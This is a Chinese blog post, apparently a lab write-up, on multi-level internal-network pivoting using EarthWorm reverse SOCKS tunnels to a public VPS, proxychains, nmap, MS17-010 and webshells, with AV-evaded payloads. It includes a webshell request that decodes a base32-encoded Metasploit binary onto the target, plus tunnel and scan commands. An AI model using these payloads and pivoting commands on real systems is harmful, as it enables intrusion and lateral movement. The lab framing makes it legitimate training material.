0%

模拟多级代理

 有关内网多级代理的模拟. 主要对EW和proxychains进行了测试, 算是填了我去年的一个坑.

环境准备

准备的网络拓扑图如下

 base和hw是两台公网vps, Ubuntu是靶机网络的边界服务器, 使用nat模式连接外网, web服务通过ssh端口转发到hw的8000端口暴露出来, 其他的端口均不能通过外网访问. 沟通LAN1和LAN2的服务器用win7模拟. 因为这次模拟主要是实验内网代理的姿势, 所以所有的web服务器上都预留了后门, 能够访问就能使用. 所有的win7都是sp1版本, 没有打任何补丁, 且均不能访问外网. 除了沟通两个内网的win7外杀软均关闭退出.
 两台当作客户机的win7上均放了flag, 10段的win7上放了final_flag, 以拿到作为结束标准.

一级内网

 首先生成一个msf的elf可执行文件🐎, 通过预留的后门传过去, 执行后就能弹回来一个msf的shell, 方便后续工作.

1
/horse.php?_=system(%27echo%20P5CUYRQCAEAQAAAAAAAAAAAAAABAAPQAAEAAAADYABAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAABYAAAQAAAAAAAAAAABAAAAABYAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAIAAAAAAAAD5AAAAAAAAAAAD4AEAAAAAAAAAAAEAAAAAAAAAAJAY762QJLCM3MECIRHLE2MOJNIRECWVSA4HQKSEFYB4FC2QKIFMVA2RJLCMWUAS7NIAV4DYFJCC4A6B3JCLUROICAATQ6L272HVFCSEJ4ZVBAWTKFJMA6BKZJCC4A6JFJH74S5AYK5VCGWDKABVAKSEJ45EDD5QPAVMVSX2IQXAHTR3KHRMGUAK7B4CV42T6LIHQKSEFYB4O377G%20|%20base32%20-d%20%3E%20upload/shell%27);


可以通过ifconfig看到当前主机接入的网络情况, 能看到.8.X网段了.

 到这里我打算更严格一点, 通过reGeorg对80端口进行重用来代理进去. 可惜等我tunnel.php传上去后却给我跳500错误. 使用reGeorg连接也给我跳错.

 一开始我还以为是我把reGeorg的client从python2修改到python3导致的错误, 结果去查了下才知道应该是reGeorg不支持我服务器上的php-fpm和nginx环境.

 那没办法, 老老实实把ew传上去, 走ew开启socks5服务. 在公网服务器上运行ew -s rcsocks -e 8888 -l 10001, 将服务器从10001端口listen到的连接请求通过8888端口发出去.
 然后在靶机上运行ew -s rssocks -e 8888 -d base.sern.site ,连接到服务器上的8888端口.

 这样就构建起来了一个sockes5代理, 通过公网服务器的10001端口的流量都会被代理成那台边界服务器的流量, 也就可以去访问192.168.8.x网段了.

代理状态下的扫描器

 为了能在Linux环境下使用socks代理, 我们还得用proxychains这个神器. 通过配置它的proxychains.conf文件, 可以指定它使用的代理路径. 甚至可以指定多级代理, 在strict模式下, proxychains会自动的顺着代理列表一个个的代理过去. 同时还可以自定义每个tcp连接的超时时间. 建议在扫描阶段把时间稍微调短一点, 不然扫描能慢死. 但是shell弹回来后就建议把时间改长了, 不然稍微有一会没操作就会断开.
 这里因为我电脑内存炸了, kali打不开, 直接就在公网服务器上搞了. 地址就是127, 然后把端口写上去就配置完了.

 使用起来也很方便, 在需要代理的指令前加上proxychains就行. 不过需要sudo的命令需要把sudo写到最前面, 不然流量不会经过proxychains的代理.
 接下来我们先上nmap对内网扫一圈, 由于socks代理不兼容icmp协议, 所以ping命令就gg了. 只能利用nmap的-Pn选项来强制认为目标在线来对其扫描.

1
proxychains nmap -Pn -p 80,445,3389 192.168.8.1/24

部分扫描结果如下

 可以看到.2, .3, .4, .5三台主机有开放的敏感端口. 其中.2是本机, .3应该是我的物理机在虚拟网络里的映射.
 之前已经讲过了, 非服务器的win7杀软已关, 而且没有打补丁. 这就可以掏出我们无敌的17010来《乱杀》.

让msf走过代理

 利用proxychais启动msf, 同时加上-q参数, 让他不要输出那么多日志. 这样后续msf的所有流量都通过socks代理了.

1
proxychains -q msfconsole

 然后熟练的调出17010的exp, 指定下目标就可以开始了. 还有一点要注意下, 现在内网的所有主机都是没法直接访问外网的, 所以这里有两种思路来拿到shell. 一种是走lcx把kali的端口映射到边界服务器上, 这样payload的反弹地址直接写边界服务器的端口就行了.
 另外一种思路就是不用端口映射, 换成正向的shell. 从边界服务器去连接靶机. 因为我的电脑性能顶不住, 这里就简单点走正向shell了.
 还得记得改下proxychains里的超时时间, 不然楞下神弹回来的shell就断了.

 第一个falg拿到.

二级内网

 边界服务器是Windows系统, 虽然没有打补丁, 但是杀软拉满. 无敌的17010被无敌的火绒拦下去了. 只能再走webshell来传马.
 利用proxychains firefox来把火狐的流量代理进去, 就能愉快的用本地浏览器看对面内网的网页了. (要是省赛的时候我就会这一手该多好)

 之后就是传马, 这里之前点了好久的免杀技能就有用了, 轻松过无敌的火绒+360+安全🐕.
 不过切记Windows下是没有重定向符新建文件这种操作的…我卡了半天穿不上去还以为是代理的锅…

 总之最后搬出来了蚁剑来传马+传ew, 不说了, 工具是真的香.

二级socks

 ew上去了, 就该考虑如何把攻击机的流量带入二级内网. 这里有几种思路
 思路一, 利用ew来构建代理链, 通过边界服务器来把socks服务暴露到公网上.
 思路二, 只打开socks代理, 利用proxychains的strict_chain模式来利用这个只能在内网访问的socks服务.
 我这次采用了思路二, 因为思路二最简单. 靶机上.\ew.exe -s ssocksd -l 10004 就启动了socks服务. 然后再在攻击机上的proxychains.conf文件的最下面加上一行靶机在一级内网的ip和端口就可以了.

二级msf

 不管用几级的msf都一样, proxychains msfconsole一键跨过n级代理.

 然后就还是无敌的17010拿shell. 这次隔了两台主机, 用lcx端口转发过于麻烦, 所以还是用正向shell的形式来.

搞定, 最后的flag到手

总结

 测试了一种内网代理的姿势, 真的有意思. proxychains 天下第一!!